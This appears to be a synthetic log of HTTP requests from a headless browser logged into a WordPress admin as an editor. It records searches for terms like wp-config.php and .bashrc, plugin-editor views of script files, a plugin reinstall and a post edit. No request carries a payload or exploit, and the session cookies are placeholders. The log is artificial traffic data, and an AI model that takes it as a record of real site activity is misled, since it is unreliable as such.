{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=autocomplete-user&term=python3&autocomplete_type=add", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?per_page=20&orderby=count&order=desc&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?per_page=20&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/media?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/blocks?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pattern-directory/patterns?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-directory/search?term=python3&per_page=10&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?p=16", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""}
{"method": "GET", "target": "/?tag=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209934"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?category_name=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""}
{"method": "GET", "target": "/?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=.htaccess&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Finstall-script.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fscripts%2Fpowershell-setup.ps1&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fassets%2Fdocument.write.js&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=docker-helper%2Fdocker-helper.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=powershell-tools%2Fpowershell-tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=6a63c44dbf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=docker-helper&_wpnonce=6f3e7b77ac", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""}
{"method": "GET", "target": "/?rest_route=/wp/v2/search&search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": ""}
{"method": "POST", "target": "/?rest_route=/wp/v2/posts/1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "X-WP-Nonce: 3e816ac72c", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": "{\"id\":1,\"title\":\"Hello from the editor\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
